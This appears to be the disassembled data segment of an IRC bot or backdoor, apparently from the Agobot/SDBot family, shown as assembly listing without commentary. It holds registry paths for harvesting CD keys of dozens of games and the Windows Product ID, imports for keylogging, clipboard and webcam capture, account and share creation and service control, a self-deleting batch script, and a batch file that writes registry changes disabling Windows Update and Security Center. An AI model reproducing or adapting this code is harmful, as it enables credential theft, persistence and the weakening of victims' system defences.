'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 10h aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 10h aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 10h aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00427E64o aCdkey db 'CDKey',0 ; DATA XREF: seg002:00427E60o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_427E5Co align 10h asc_429060: ; DATA XREF: sub_4085B7+E9o ; sub_4085B7+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_4085B7+8Fo ; seg000:loc_41128Fo unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085B7+7Eo ; sub_408884+45o align 10h aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085B7+2Bo align 4 unk_429084 db 2 ; DATA XREF: sub_40876C+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_4290B8 db 2 ; DATA XREF: sub_40876C+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408884+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408884+1Ao align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089D6+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089D6+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089D6:loc_409611o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089D6+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089D6+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089D6+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089D6+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089D6+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089D6+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089D6:loc_409573o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089D6+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089D6+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089D6:loc_409529o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089D6+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089D6+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089D6+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089D6+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089D6:loc_4094B5o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089D6+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089D6+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089D6:loc_40946Bo align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089D6+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089D6+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089D6:loc_409421o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089D6+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089D6+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089D6+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089D6+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089D6+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089D6+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089D6+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089D6+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089D6+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089D6+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089D6+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089D6:loc_409316o align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089D6+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089D6+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089D6+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089D6:loc_4092B7o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089D6+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089D6+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089D6+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089D6+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089D6+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089D6+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089D6+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089D6+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089D6+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089D6+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089D6+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089D6:loc_409197o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089D6+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089D6+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089D6+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089D6+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_4089D6+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089D6+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089D6+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_4089D6+62Do ; seg002:0042C59Co align 4 aListen db 'listen',0 ; DATA XREF: sub_4089D6+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_4089D6+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_4089D6+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089D6+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_4089D6+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4089D6+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_4089D6+5D2o ; seg000:0040EF10o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4089D6+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_4089D6+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4089D6+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_4089D6+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089D6+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089D6+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4089D6+577o ; seg002:0042C9ACo aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089D6+56Ao aSocket db 'socket',0 ; DATA XREF: sub_4089D6+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089D6+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089D6+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089D6+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089D6+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089D6+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089D6+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089D6+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089D6+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089D6+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089D6+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089D6+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089D6+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089D6+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089D6+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089D6+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089D6+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089D6+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089D6:loc_408DE5o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089D6:loc_408DBDo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089D6+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089D6+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089D6+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089D6+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4089D6+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089D6+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089D6+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089D6:loc_408D0Fo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089D6+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089D6+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089D6:loc_408CCAo align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089D6+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089D6+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089D6+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089D6+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089D6+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089D6+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089D6:loc_408C35o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089D6+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089D6+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089D6+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089D6:loc_408BCEo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089D6+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089D6+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089D6+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089D6+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089D6+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089D6+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089D6+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089D6+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089D6:loc_408B0Bo ; sub_41E6CE+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089D6:loc_408ADEo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089D6+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089D6+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089D6+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089D6+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089D6+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089D6+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4089D6+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089D6+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089D6+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089D6+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089D6+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089D6+Ao align 4 dword_4299D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_409663+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409663+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409663+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409663+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409663+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409663+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409663+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409663+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409663+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409663+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_409CB1+5o ; sub_414376+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00409D4Fo align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DD7+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409DF9+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409DF9+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409DF9+48o align 4 aCAb3_bat db 'c:\ab3.bat',0 ; DATA XREF: sub_409F81+29o align 4 a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F81+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo 